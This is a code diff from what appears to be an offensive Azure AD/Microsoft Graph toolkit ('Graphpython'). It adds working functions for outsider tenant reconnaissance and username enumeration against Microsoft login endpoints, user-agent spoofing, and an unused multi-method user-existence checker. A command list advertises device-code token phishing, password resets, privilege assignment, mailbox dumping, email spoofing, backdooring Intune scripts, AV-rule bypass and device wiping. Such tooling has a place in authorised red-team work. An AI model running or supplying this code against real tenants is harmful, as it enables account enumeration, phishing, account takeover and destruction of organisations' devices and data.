+def invoke_reconasoutsider(args): + if not args.domain: + print_red("[-] Error: --domain argument is required for Invoke-ReconAsOutsider command") + return + + print_yellow("[*] Invoke-ReconAsOutsider") + print("=" * 80) + domain = args.domain + # get tenant id + tenant_id = "" + try: + response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") + if response.status_code == 200: + tenant_id = response.json().get('token_endpoint', '').split('/')[3] + except: + print_red("[-] Failed to retrieve tenant ID") + if not tenant_id: + print_red(f"[-] Domain {domain} is not registered to Azure AD") + print("=" * 80) + return + tenant_name = "" + tenant_brand = "" + tenant_region = "" + tenant_sso = "" + # tenant info + try: + response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") + if response.status_code == 200: + data = response.json() + tenant_region = data.get('tenant_region_scope', "Unknown") + except: + print_red("[-] Failed to retrieve tenant info") + + additional_domains = get_tenant_domains(domain) + additional_domains_count = len(additional_domains) + print(f"Domains: {additional_domains_count}") + domain_information = [] + # show progress bar + custom_bar = '╢{bar:50}╟' + for domain in tqdm((additional_domains),bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): + if domain.lower().endswith('.onmicrosoft.com') and not tenant_name: + tenant_name = domain + # desktop sso + if not tenant_sso: + try: + url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={'0' * 32}" + response = requests.get(url) + tenant_sso = response.status_code == 401 + except: + pass + # DNS checks + exists = False + has_cloud_mx = False + has_cloud_spf = False + has_dmarc = False + has_cloud_dkim = False + has_cloud_mta_sts = False + try: + dns.resolver.resolve(domain) + exists = True + except: + pass + if exists: + try: + mx_records = dns.resolver.resolve(domain, 'MX') + has_cloud_mx = any('mail.protection.outlook.com' in str(mx.exchange) for mx in mx_records) + except: + pass + try: + txt_records = dns.resolver.resolve(domain, 'TXT') + has_cloud_spf = any('v=spf1' in str(record) and 'include:spf.protection.outlook.com' in str(record) for record in txt_records) + except: + pass + try: + dmarc_records = dns.resolver.resolve(f'_dmarc.{domain}', 'TXT') + has_dmarc = any('v=DMARC1' in str(record) for record in dmarc_records) + except: + pass + try: + selectors = ["selector1", "selector2"] + for selector in selectors: + dkim_records = dns.resolver.resolve(f'{selector}._domainkey.{domain}', 'CNAME') + has_cloud_dkim = any('onmicrosoft.com' in str(record) for record in dkim_records) + if has_cloud_dkim: + break + except: + pass + try: + url = f"https://mta-sts.{domain}/.well-known/mta-sts.txt" + mta_sts_response = requests.get(url) + if mta_sts_response.status_code == 200: + mta_sts_content = mta_sts_response.text + mta_sts_lines = mta_sts_content.split("\n") + has_cloud_mta_sts = any("version: STSv1" in line for line in mta_sts_lines) and any("mx: *.mail.protection.outlook.com" in line for line in mta_sts_lines) + except: + pass + # federation info + user_realm = {} + try: + username = f"nn@{domain}" + response = requests.get(f"https://login.microsoftonline.com/GetUserRealm.srf?login={username}") + if response.status_code == 200: + user_realm = response.json() + except: + print_red("[-] Failed to retrieve user realm information") # pass + + if not tenant_brand: + tenant_brand = user_realm.get("FederationBrandName", "") + + auth_url = user_realm.get("AuthURL") + + if auth_url: + auth_url = auth_url.split('?')[0] + + domain_info = { + "Name": domain, + "DNS": exists, + "MX": has_cloud_mx, + "SPF": has_cloud_spf, + "DMARC": has_dmarc, + "DKIM": has_cloud_dkim, + "MTA-STS": has_cloud_mta_sts, + "Type": user_realm.get("NameSpaceType", "Unknown"), + "STS": auth_url + } + + domain_information.append(domain_info) + + print(f"Tenant brand: {tenant_brand}") + print(f"Tenant name: {tenant_name}") + print(f"Tenant id: {tenant_id}") + print(f"Tenant region: {tenant_region}") + + if tenant_sso is not None: + print(f"DesktopSSO enabled: {tenant_sso}") + if tenant_name: + # check MDI instance + tenant = tenant_name.split('.')[0] if '.' in tenant_name else tenant_name + mdi_domains = [ + f"{tenant}.atp.azure.com", + f"{tenant}-onmicrosoft-com.atp.azure.com" + ] + tenant_mdi = None + for mdi_domain in mdi_domains: + try: + dns.resolver.resolve(mdi_domain) + tenant_mdi = mdi_domain + break + except dns.resolver.NXDOMAIN: + continue + except Exception as e: + print(f"An error occurred while resolving {mdi_domain}: {str(e)}") + if tenant_mdi: + print(f"MDI instance: {tenant_mdi}") + else: + print("MDI instance: Not found") + + # check cloud sync + if tenant_name: + sync_service_account = f"ADToAADSyncServiceAccount@{tenant_name}" + exists = None + try: + url = "https://login.microsoftonline.com/common/GetCredentialType" + data = { + "username": sync_service_account, + "isOtherIdpSupported": True, + "checkPhones": False, + "isRemoteNGCSupported": True, + "isCookieBannerShown": False, + "isFidoSupported": True, + "originalRequest": "", + "country": "US", + "forceotclogin": False, + "isExternalFederationDisallowed": False, + "isRemoteConnectSupported": False, + "federationFlags": 0, + "isSignup": False, + "flowToken": "", + "isAccessPassSupported": True + } + response = requests.post(url, json=data) + if response.status_code == 200: + result = response.json() + exists = result.get('IfExistsResult', 0) == 0 + except: + pass + + uses_cloud_sync = exists + print(f"Uses cloud sync: {uses_cloud_sync}") + + print("\nName DNS MX SPF DMARC DKIM MTA-STS Type STS") + print("---- --- --- ---- ----- ---- ------- ---- ---") + for domain_info in domain_information: + print(f"{domain_info['Name']:<42} {str(domain_info['DNS']):<5} {str(domain_info['MX']):<5} {str(domain_info['SPF']):<6} {str(domain_info['DMARC']):<7} {str(domain_info['DKIM']):<6} {str(domain_info['MTA-STS']):<8} {domain_info['Type']:<11} {domain_info['STS'] or ''}") + print("=" * 80) + + +def invoke_userenumerationasoutsider(args): + if not args.username: + print_red("[-] Error: --username argument is required for Invoke-UserEnumerationAsOutsider command") + return + + print_yellow("[*] Invoke-UserEnumerationAsOutsider") + print("=" * 80) + usernames = [] + if os.path.isfile(args.username): + with open(args.username, 'r') as file: + usernames = [line.strip() for line in file if line.strip()] + else: + usernames = [args.username] + + for username in usernames: + exists = None + try: + url = "https://login.microsoftonline.com/common/GetCredentialType" + data = { + "username": username, + "isOtherIdpSupported": True, + "checkPhones": False, + "isRemoteNGCSupported": True, + "isCookieBannerShown": False, + "isFidoSupported": True, + "originalRequest": "", + "country": "US", + "forceotclogin": False, + "isExternalFederationDisallowed": False, + "isRemoteConnectSupported": False, + "federationFlags": 0, + "isSignup": False, + "flowToken": "", + "isAccessPassSupported": True + } + response = requests.post(url, json=data) + if response.status_code == 200: + result = response.json() + exists = result.get('IfExistsResult', 0) == 0 + except: + pass + + if exists: + print_green(f"[+] {username:<16}")# : {exists}") + else: + print_red(f"[-] {username:<16}")# : {exists}") + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/utils/__init__.py b/Graphpython/utils/__init__.py new file mode 100644 index 0000000..1321f68 --- /dev/null +++ b/Graphpython/utils/__init__.py @@ -0,0 +1 @@ +# chama \ No newline at end of file diff --git a/Graphpython/utils/helpers.py b/Graphpython/utils/helpers.py new file mode 100644 index 0000000..3449a68 --- /dev/null +++ b/Graphpython/utils/helpers.py @@ -0,0 +1,606 @@ +import requests +import json +import os +import re +import base64 +from tabulate import tabulate +from datetime import datetime, timedelta +import uuid +import xml.etree.ElementTree as ET +from termcolor import colored + +def print_yellow(message): + print(f"\033[93m{message}\033[0m") + +def print_green(message): + print(f"\033[92m{message}\033[0m") + +def print_red(message): + print(f"\033[91m{message}\033[0m") + +def list_commands(): + outsider_commands = [ + ["Invoke-ReconAsOutsider", "Perform outsider recon of the target domain"], + ["Invoke-UserEnumerationAsOutsider", "Checks whether the user exists within Azure AD"] + ] + + auth_commands = [ + ["Get-GraphTokens", "Obtain graph token via device code phish (saved to graph_tokens.txt)"], + ["Get-TenantID", "Get tenant ID for target domain"], + ["Get-TokenScope", "Get scope of supplied token"], + ["Decode-AccessToken", "Get all token payload attributes"], + ["Invoke-RefreshToMSGraphToken", "Convert refresh token to Microsoft Graph token (saved to new_graph_tokens.txt)"], + ["Invoke-RefreshToAzureManagementToken", "Convert refresh token to Azure Management token (saved to az_tokens.txt)"], + ["Invoke-RefreshToVaultToken", "Convert refresh token to Azure Vault token (saved to vault_tokens.txt)"], + ["Invoke-RefreshToMSTeamsToken", "Convert refresh token to MS Teams token (saved to teams_tokens.txt)"], + ["Invoke-RefreshToOfficeAppsToken", "Convert refresh token to Office Apps token (saved to officeapps_tokens.txt)"], + ["Invoke-RefreshToOfficeManagementToken", "Convert refresh token to Office Management token (saved to officemanagement_tokens.txt)"], + ["Invoke-RefreshToOutlookToken", "Convert refresh token to Outlook token (saved to outlook_tokens.txt)"], + ["Invoke-RefreshToSubstrateToken", "Convert refresh token to Substrate token (saved to substrate_tokens.txt)"], + ["Invoke-RefreshToYammerToken", "Convert refresh token to Yammer token (saved to yammer_tokens.txt)"], + ["Invoke-RefreshToIntuneEnrollmentToken", "Convert refresh token to Intune Enrollment token (saved to intune_tokens.txt)"], + ["Invoke-RefreshToOneDriveToken", "Convert refresh token to OneDrive token (saved to onedrive_tokens.txt)"], + ["Invoke-RefreshToSharePointToken", "Convert refresh token to SharePoint token (saved to sharepoint_tokens.txt)"], + ["Invoke-CertToAccessToken", "Convert Azure Application certificate to JWT access token (saved to cert_tokens.txt)"], + ["Invoke-ESTSCookieToAccessToken", "Convert ESTS cookie to MS Graph access token (saved to estscookie_tokens.txt)"], + ["Invoke-AppSecretToAccessToken", "Convert Azure Application secretText credentials to access token (saved to appsecret_tokens.txt)"], + ["New-SignedJWT", "Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token"] + ] + + post_authenum_commands = [ + ["Get-CurrentUser", "Get current user profile"], + ["Get-CurrentUserActivities", "Get recent activity and actions of current user"], + ["Get-OrgInfo", "Get information relating to the target organisation"], + ["Get-Domains", "Get domain objects"], + ["Get-User", "Get all users (default) or target user (--id)"], + ["Get-UserProperties", "Get current user properties (default) or target user (--id)"], + ["Get-UserPrivileges", "Get group/AU memberships and directory roles assigned for current user (default) or target user (--id)"], + ["Get-UserTransitiveGroupMembership", "Get transitive group memberships for current user (default) or target user (--id)"], + ["Get-Group", "Get all groups (default) or target group (-id)"], + ["Get-GroupMember", "Get all members of target group"], + ["Get-UserAppRoleAssignments", "Get user app role assignments for current user (default) or target user (--id)"], + ["Get-ConditionalAccessPolicy", "Get conditional access policy properties"], + ["Get-Application", "Get Enterprise Application details for app (NOT object) ID (--id)"], + ["Get-AppServicePrincipal", "Get details of the application's service principal from the app ID (--id)"], + ["Get-ServicePrincipal", "Get all or specific Service Principal details (--id)"], + ["Get-ServicePrincipalAppRoleAssignments", "Get Service Principal app role assignments (shows available admin consent permissions that are already granted)"], + ["Get-PersonalContacts", "Get contacts of the current user"], + ["Get-CrossTenantAccessPolicy", "Get cross tenant access policy properties"], + ["Get-PartnerCrossTenantAccessPolicy", "Get partner cross tenant access policy"], + ["Get-UserChatMessages", "Get ALL messages from all chats for target user (Chat.Read.All)"], + ["Get-AdministrativeUnitMember", "Get members of administrative unit"], + ["Get-OneDriveFiles", "Get all accessible OneDrive files for current user (default) or target user (--id)"], + ["Get-UserPermissionGrants", "Get permission grants of current user (default) or target user (--id)"], + ["Get-oauth2PermissionGrants", "Get oauth2 permission grants for current user (default) or target user (--id)"], + ["Get-Messages", "Get all messages in signed-in user's mailbox (default) or target user (--id)"], + ["Get-TemporaryAccessPassword", "Get TAP details for current user (default) or target user (--id)"], + ["Get-Password", "Get passwords registered to current user (default) or target user (--id)"], + ["List-AuthMethods", "List authentication methods for current user (default) or target user (--id)"], + ["List-DirectoryRoles", "List all directory roles activated in the tenant"], + ["List-Notebooks", "List current user notebooks (default) or target user (--id)"], + ["List-ConditionalAccessPolicies", "List conditional access policy objects"], + ["List-ConditionalAuthenticationContexts", "List conditional access authentication context"], + ["List-ConditionalNamedLocations", "List conditional access named locations"], + ["List-SharePointRoot", "List root SharePoint site properties"], + ["List-SharePointSites", "List any available SharePoint sites"], + ["List-SharePointURLs", "List SharePoint site web URLs visible to current user"], + ["List-ExternalConnections", "List external connections"], + ["List-Applications", "List all Azure Applications"], + ["List-ServicePrincipals", "List all service principals"], + ["List-Tenants", "List tenants"], + ["List-JoinedTeams", "List joined teams for current user (default) or target user (--id)"], + ["List-Chats", "List chats for current user (default) or target user (--id)"], + ["List-ChatMessages", "List messages in target chat (--id)"], + ["List-Devices", "List devices"], + ["List-AdministrativeUnits", "List administrative units"], + ["List-OneDrives", "List current user OneDrive (default) or target user (--id)"], + ["List-RecentOneDriveFiles", "List current user recent OneDrive files"], + ["List-SharedOneDriveFiles", "List OneDrive files shared with the current user"], + ["List-OneDriveURLs", "List OneDrive web URLs visible to current user"] + ] + + post_authexploit_commands = [ + ["Invoke-CustomQuery", "Custom GET query to target Graph API endpoint"], + ["Invoke-Search", "Search for string within entity type (driveItem, message, chatMessage, site, event)"], + ["Find-PrivilegedRoleUsers", "Find users with privileged roles assigned"], + ["Find-PrivilegedApplications", "Find privileged apps (via their service principal) with granted admin consent API permissions"], + ["Find-UpdatableGroups", "Find groups which can be updated by the current user"], + ["Find-SecurityGroups", "Find security groups and group members"], + ["Find-DynamicGroups", "Find groups with dynamic membership rules"], + ["Update-UserPassword", "Update the passwordProfile of the target user (NewUserS3cret@Pass!)"], + ["Update-UserProperties", "Update the user properties of the target user"], + ["Add-UserTAP", "Add new Temporary Access Password (TAP) to target user"], + ["Add-GroupMember", "Add member to target group"], + ["Add-ApplicationPassword", "Add client secret to target application"], + ["Add-ApplicationCertificate", "Add client certificate to target application"], + ["Add-ApplicationPermission", "Add permission to target application e.g. Mail.Send and attempt to grant admin consent"], + ["Grant-AppAdminConsent", "Grant admin consent for Graph API permission already assigned to enterprise application"], + ["Create-Application", "Create new enterprise application with default settings"], + ["Create-NewUser", "Create new Entra ID user"], + ["Invite-GuestUser", "Invite guest user to Entra ID"], + ["Assign-PrivilegedRole", "Assign chosen privileged role to user/group/object"], + ["Open-OWAMailboxInBrowser", "Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token"], + ["Dump-OWAMailbox", "Dump OWA Office 365 mailbox"], + ["Spoof-OWAEmailMessage", "Send email from current user's Outlook mailbox or spoof another user (--id) (Mail.Send)"] + ] + + intune_enum = [ + ["Get-ManagedDevices", "Get managed devices"], + ["Get-UserDevices", "Get user devices"], + ["Get-CAPs", "Get conditional access policies"], + ["Get-DeviceCategories", "Get device categories"], + ["Get-DeviceComplianceSummary", "Get device compliance summary"], + ["Get-DeviceConfigurations", "Get device configurations"], + ["Get-DeviceConfigurationPolicySettings", "Get device configuration policy settings"], + ["Get-DeviceEnrollmentConfigurations", "Get device enrollment configurations"], + ["Get-DeviceGroupPolicyConfigurations", "Get device group policy configurations and assignment details"], + ["Get-DeviceGroupPolicyDefinition", "Get device group policy definition"], + ["Get-RoleDefinitions", "Get role definitions"], + ["Get-RoleAssignments", "Get role assignments"], + ["Get-DeviceCompliancePolicies", "Get all device compliance policies (Android, iOS, macOS, Windows, Linux, etc.)"], + ["Get-DeviceConfigurationPolicies", "Get device configuration policies and assignment details (AV, ASR, DiskEnc, etc.)"] + ] + + intune_exploit = [ + ["Dump-DeviceManagementScripts", "Dump device management PowerShell scripts"], + ["Dump-WindowsApps", "Dump managed Windows OS applications (exe, msi, appx, msix, etc.)"], + ["Dump-iOSApps", "Dump managed iOS/iPadOS mobile applications"], + ["Dump-macOSApps", "Dump managed macOS applications"], + ["Dump-AndroidApps", "Dump managed Android mobile applications"], + ["Get-ScriptContent", "Get device management script content"], + ["Backdoor-Script", "Add malicious code to pre-existing device management script"], + ["Deploy-MaliciousScript", "Deploy new malicious device management PowerShell script"], + ["Deploy-MaliciousWebLink", "Deploy malicious Windows web link application"], + ["Display-AVPolicyRules", "Display antivirus policy rules"], + ["Display-ASRPolicyRules", "Display Attack Surface Reduction (ASR) policy rules"], + ["Display-DiskEncryptionPolicyRules", "Display disk encryption policy rules"], + ["Display-FirewallConfigPolicyRules", "Display firewall configuration policy rules"], + ["Display-FirewallRulePolicyRules", "Display firewall RULE policy rules"], + ["Display-EDRPolicyRules", "Display EDR policy rules"], + ["Display-LAPSAccountProtectionPolicyRules", "Display LAPS account protection policy rules"], + ["Display-UserGroupAccountProtectionPolicyRules", "Display user group account protection policy rules"], + ["Add-ExclusionGroupToPolicy", "Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device"], + ["Reboot-Device", "Reboot managed device"], + ["Retire-Device", "Retire managed device"], + ["Lock-Device", "Lock managed device"], + ["Shutdown-Device", "Shutdown managed device"], + ["Update-DeviceConfig", "Update properties of the managed device configuration"] + ] + + cleanup_commands = [ + ["Delete-User", "Delete a user"], + ["Delete-Group", "Delete a group"], + ["Remove-GroupMember", "Remove user from a group"], + ["Delete-Application", "Delete an application"], + ["Delete-Device", "Delete managed device"], + ["Wipe-Device", "Wipe managed device"], + ] + + locator_commands = [ + ["Locate-ObjectID", "Locate object ID and display object properties"], + ["Locate-PermissionID", "Locate Graph permission details (application/delegated, description, admin consent required, ...) for ID"] + ] + + print("Outsider") + print("=" * 80) + print(tabulate(outsider_commands, tablefmt="plain")) + + print("\nAuthentication") + print("=" * 80) + print(tabulate(auth_commands, tablefmt="plain")) + + print("\nPost-Auth Enumeration") + print("=" * 80) + print(tabulate(post_authenum_commands, tablefmt="plain")) + + print("\nPost-Auth Exploitation") + print("=" * 80) + print(tabulate(post_authexploit_commands, tablefmt="plain")) + + print("\nPost-Auth Intune Enumeration") + print("=" * 80) + print(tabulate(intune_enum, tablefmt="plain")) + + print("\nPost-Auth Intune Exploitation") + print("=" * 80) + print(tabulate(intune_exploit, tablefmt="plain")) + + print("\nCleanup") + print("=" * 80) + print(tabulate(cleanup_commands, tablefmt="plain")) + + print("\nLocators") + print("=" * 80) + print(tabulate(locator_commands, tablefmt="plain")) + print("\n") + +def forge_user_agent(device=None, browser=None): + + user_agent = '' + + if device == 'Mac': + if browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/604.1 Edg/91.0.100.0' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + else: + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + + elif device == 'Windows': + if browser == 'IE': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + else: + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + + elif device == 'AndroidMobile': + if browser == 'Android': + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Mobile Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Android 4.4; Mobile; rv:70.0) Gecko/70.0 Firefox/70.0' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (Linux; Android 8.1.0; Pixel Build/OPM4.171019.021.D1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.109 Mobile Safari/537.36 EdgA/42.0.0.2057' + else: + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + + elif device == 'iPhone': + if browser == 'Chrome': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.114 Mobile/15E148 Safari/604.1' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4' + elif browser == 'Edge': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' + else: + user_agent = 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' + + else: + if browser == 'Android': + user_agent = 'Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30' + elif browser == 'IE': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko' + elif browser == 'Chrome': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' + elif browser == 'Firefox': + user_agent = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0' + elif browser == 'Safari': + user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15' + else: + user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19042' + + return user_agent + +def get_user_agent(args): + if args.device: + if args.browser: + return forge_user_agent(device=args.device, browser=args.browser) + else: + return forge_user_agent(device=args.device) + else: + if args.browser: + return forge_user_agent(browser=args.browser) + else: + return forge_user_agent() + +def get_access_token(token_input): + if os.path.isfile(token_input): + encodings = ['utf-8', 'utf-16', 'ascii', 'iso-8859-1'] + for encoding in encodings: + try: + with open(token_input, 'r', encoding=encoding) as file: + access_token = file.read().strip() + return access_token + except UnicodeDecodeError: + continue + + raise ValueError(f"Unable to decode the file {token_input} with any of the tried encodings.") + else: + access_token = token_input + return access_token + +def read_file_content(file_path): + try: + with open(file_path, 'r', encoding='utf-8') as file: + return file.read() + except UnicodeDecodeError: + with open(file_path, 'r', encoding='utf-16') as file: + return file.read() + +def format_list_style(data): + if not data.get('value'): + print_red("[-] No data found") + return + + for d in data.get('value', []): + for key, value in d.items(): + print(f"{key} : {value}") + print("\n") + +def read_and_encode_cert(cert_path): + try: + if not os.path.isfile(cert_path): + print_red(f"[-] The certificate file '{cert_path}' does not exist.") + return None + with open(cert_path, 'rb') as cert_file: + cert_data = cert_file.read() + # Base64 encode the binary data + encoded_cert = base64.b64encode(cert_data).decode('ascii') + return encoded_cert + except Exception as e: + print_red(f"[-] Error reading certificate: {str(e)}") + return None + +def highlight_search_term(text, search_term): + return text.replace(search_term, colored(search_term, 'green')) + +def graph_api_get(access_token, url, args): + try: + output_returned = False + while url: + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {access_token}", + "User-Agent": user_agent + } + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + + if filtered_data: + format_list_style(filtered_data) + output_returned = True + + url = response_body.get("@odata.nextLink") + + if not output_returned: + print_red("[-] No data found") + + except requests.exceptions.RequestException as ex: + print_red(f"[-] HTTP Error: {ex}") + +def get_tenant_domains(domain): + + domains = [domain] + try: + openid_config_url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration" + response = requests.get(openid_config_url) + response.raise_for_status() + openid_config = response.json() + tenant_region_sub_scope = openid_config.get("tenant_region_sub_scope", "") + + if tenant_region_sub_scope == "DOD": + autodiscover_url = "https://autodiscover-s-dod.office365.us/autodiscover/autodiscover.svc" + elif tenant_region_sub_scope == "DODCON": + autodiscover_url = "https://autodiscover-s.office365.us/autodiscover/autodiscover.svc" + else: + autodiscover_url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" + + autodiscover_body = f""" + + + + http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation + {autodiscover_url} + + http://www.w3.org/2005/08/addressing/anonymous + + + + + + {domain} + + + + + """.strip() + + headers = { + "Content-Type": "text/xml; charset=utf-8", + "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"', + "User-Agent": "AutodiscoverClient" + } + + autodiscover_response = requests.post(autodiscover_url, data=autodiscover_body, headers=headers) + autodiscover_response.raise_for_status() + autodiscover_xml = autodiscover_response.content + tree = ET.ElementTree(ET.fromstring(autodiscover_xml)) + namespaces = { + 's': 'http://schemas.xmlsoap.org/soap/envelope/', + 'a': 'http://www.w3.org/2005/08/addressing', + 'm': 'http://schemas.microsoft.com/exchange/services/2006/messages', + 't': 'http://schemas.microsoft.com/exchange/services/2006/types', + 'ns2': 'http://schemas.microsoft.com/exchange/2010/Autodiscover' + } + + found_domains = [elem.text for elem in tree.findall('.//ns2:Domain', namespaces)] + + if domain not in found_domains: + found_domains.append(domain) + + domains = sorted(found_domains) + + except Exception as e: + print(f"An unexpected error occurred: {e}") + + return domains + +############## +# NOT IN USE # +############## +def get_credential_type(username, flow_token=None, original_request=None): + body = { + "username": username, + "isOtherIdpSupported": True, + "checkPhones": True, + "isRemoteNGCSupported": False, + "isCookieBannerShown": False, + "isFidoSupported": False, + "originalRequest": original_request, + "flowToken": flow_token + } + + if original_request: + body["isAccessPassSupported"] = True + + try: + response = requests.post("https://login.microsoftonline.com/common/GetCredentialType", + json=body, + headers={"Content-Type": "application/json; charset=UTF-8"}) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + print(f"Error in Get-CredentialType: {e}") + return None + +############## +# NOT IN USE # +############## +def get_rst_token(url, endpoint_address, username, password="none"): + request_id = str(uuid.uuid4()) + now = datetime.utcnow() + created = now.isoformat() + "Z" + expires = (now + timedelta(minutes=10)).isoformat() + "Z" + + body = f""" + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue + {url} + urn:uuid:{str(uuid.uuid4())} + + + {created} + {expires} + + + {username} + {password} + + + + + + http://schemas.xmlsoap.org/ws/2005/02/trust/Issue + + + {endpoint_address} + + http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey + + + + """ + + try: + response = requests.post(url, + data=body, + headers={"Content-Type": "application/soap+xml; charset=UTF-8"}, + timeout=10) + response.raise_for_status() + response_xml = response.content + + if "urn:oasis:names:tc:SAML:1.0:assertion" in response_xml.decode(): + return True + return False + except requests.exceptions.RequestException as e: + print(f"Error in Get-RSTToken: {e}") + return None + +############## +# NOT IN USE # +############## +def does_user_exist(user, method="Normal"): + exists = False + error_details = "" + + if method == "Normal": + cred_type = get_credential_type(user) + if cred_type: + if cred_type.get('ThrottleStatus') == 1: + print("Requests throttled!") + return None + exists = cred_type.get('IfExistsResult') in [0, 6] + else: + if method == "Login": + random_guid = str(uuid.uuid4()) + body = { + "resource": random_guid, + "client_id": random_guid, + "grant_type": "password", + "username": user, + "password": "none", + "scope": "openid" + } + try: + response = requests.post("https://login.microsoftonline.com/common/oauth2/token", + data=body, + headers={"Content-Type": "application/x-www-form-urlencoded"}) + response.raise_for_status() + exists = True + except requests.exceptions.RequestException as e: + error_details = e.response.json().get("error_description", "") + + elif method in ["Autologon", "RST2"]: + request_id = str(uuid.uuid4()) + domain = user.split("@")[1] + password = "none" + now = datetime.utcnow() + created = now.isoformat() + "Z" + expires = (now + timedelta(minutes=10)).isoformat() + "Z" + + if method == "RST2": + url = "https://login.microsoftonline.com/RST2.srf" + end_point = "sharepoint.com" + else: + url = f"https://autologon.microsoftazuread-sso.com/{domain}/winauth/trust/2005/usernamemixed?client-request-id={request_id}" + end_point = "urn:federation:MicrosoftOnline" + + try: + response = get_rst_token(url, end_point, user, password) + exists = response is not None + except Exception as e: + error_details = str(e) + + if not exists and error_details: + if error_details.startswith("AADSTS50053"): + exists = True + elif error_details.startswith("AADSTS50126"): + exists = True + elif error_details.startswith("AADSTS50076"): + exists = True + elif error_details.startswith("AADSTS700016"): + exists = True + elif error_details.startswith("AADSTS50034"): + exists = False + elif error_details.startswith("AADSTS50059"): + exists = False + elif error_details.startswith("AADSTS81016"): + print("Got Invalid STS request. The tenant may not have DesktopSSO or Directory Sync enabled.") + return None + else: + return None + + return exists + +# 